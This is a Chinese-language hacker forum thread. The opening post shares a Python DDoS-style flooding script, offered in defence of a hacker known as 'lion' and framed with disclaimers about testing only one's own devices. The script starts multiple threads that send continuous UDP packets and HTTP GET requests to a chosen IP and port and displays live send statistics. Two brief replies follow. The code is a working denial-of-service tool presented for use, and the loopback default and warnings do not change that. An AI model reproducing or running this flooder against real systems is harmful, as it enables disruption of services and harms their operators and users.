微尘 发表于 2025-9-8 20:26:47

lion

今天我看见有人说黑客界lion只会DDoS攻击,其他啥也不会,我深感愤慨。那些人连DDoS都不会,有什么资格说lion?于是,我编写了这个能向指定IP端口发送UDP、HTTP数据包的程序,旨在助力大家提升网络技术认知,切勿将其用于任何违规、损害网络安全的行为。若该内容存在违规之处,恳请板块管理员予以删除。
import socket
import threading
import time
import sys
from datetime import datetime

# 测试统计变量(仅用于合法场景)
udp_sent = 0
http_sent = 0
http_success = 0
start_time = datetime.now()
MAX_THREADS = 5# 自己调整线程数,避免CPU过载

def udp_test(tgt, port):
    """UDP测试优化:复用套接字+最小数据包"""
    global udp_sent
    try:
      sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# 复用端口,减少资源占用
      data = bytes() * 32# 32字节最小数据包,最快传输
      while True:
            sock.sendto(data, (tgt, port))
            udp_sent += 1
            time.sleep(0.005)# 间隔压至0.005s(需根据电脑性能调整,卡顿则调大)
    except Exception as e:
      print(f"\nUDP测试异常: {str(e)}")
      sys.exit()

def http_test(tgt, port):
    """HTTP测试优化:连接复用+简化请求"""
    global http_sent, http_success
    req = b"GET / HTTP/1.0\r\n\r\n"# 极简请求头,减少传输量
    try:
      while True:
            http_sent += 1
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.5)# 超时间隔压至0.5s,快速释放连接
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                sock.connect((tgt, port))
                for _ in range(5):# 单次连接发送5次请求,提高密度
                  sock.sendall(req)
                  http_success += 1
            except:
                pass
            finally:
                sock.close()
            time.sleep(0.01)# 间隔压至0.01s
    except Exception as e:
      print(f"\nHTTP测试异常: {str(e)}")
      sys.exit()

def show_stats():
    """实时统计测试状态"""
    global udp_sent, http_sent, http_success, start_time, target, port
    print(f"\n=== 合法测试统计(目标:{target}:{port})===")
    while True:
      elapsed = (datetime.now() - start_time).total_seconds()
      http_rate = http_success / http_sent if http_sent > 0 else 0
      print(f"时间:{int(elapsed)}s | UDP:{udp_sent}次 | HTTP总:{http_sent}次 | HTTP成功:{http_success}次 | 成功率:{http_rate:.2%}", end="\r")
      time.sleep(0.5)# 统计频率提高到0.5s/次

def start_test(tgt, port):
    """启动测试(固定5线程,本机性能上线)"""
    print(f"测试启动(仅自有设备,线程数:{MAX_THREADS})")
    # 启动UDP和HTTP测试线程
    for _ in range(MAX_THREADS):
      threading.Thread(target=udp_test, args=(tgt, port), daemon=True).start()
      threading.Thread(target=http_test, args=(tgt, port), daemon=True).start()
    # 启动统计线程
    threading.Thread(target=show_stats, daemon=True).start()
    # 主线程保持运行
    try:
      while True:
            time.sleep(1)
    except KeyboardInterrupt:
      print("\n测试已手动停止")
      sys.exit(0)

if __name__ == "__main__":
    # 仅允许测试自己的设备(如专业合法靶场,或同一WiFi下自有电脑IP)
    target = "127.0.0.1"# 替换为合法目标IP(必须是自己的设备,这里示例用本地回环地址)
    port = 80# 替换为目标服务端口(需提前在目标设备搭建服务,这里示例用80端口)
    # 检查目标合法性(仅作提醒,需用户自行确保)
    # 这里简单示例,实际可根据需求完善检查逻辑
    print("请确保测试目标是您自己拥有合法权限的设备!")
    start_test(target, port)

Pingchas 发表于 2025-9-9 16:23:09

lion有钱就行。:D

H.U.C清风 发表于 2025-9-10 19:51:36

来支持一下
页: [1]
查看完整版本: lion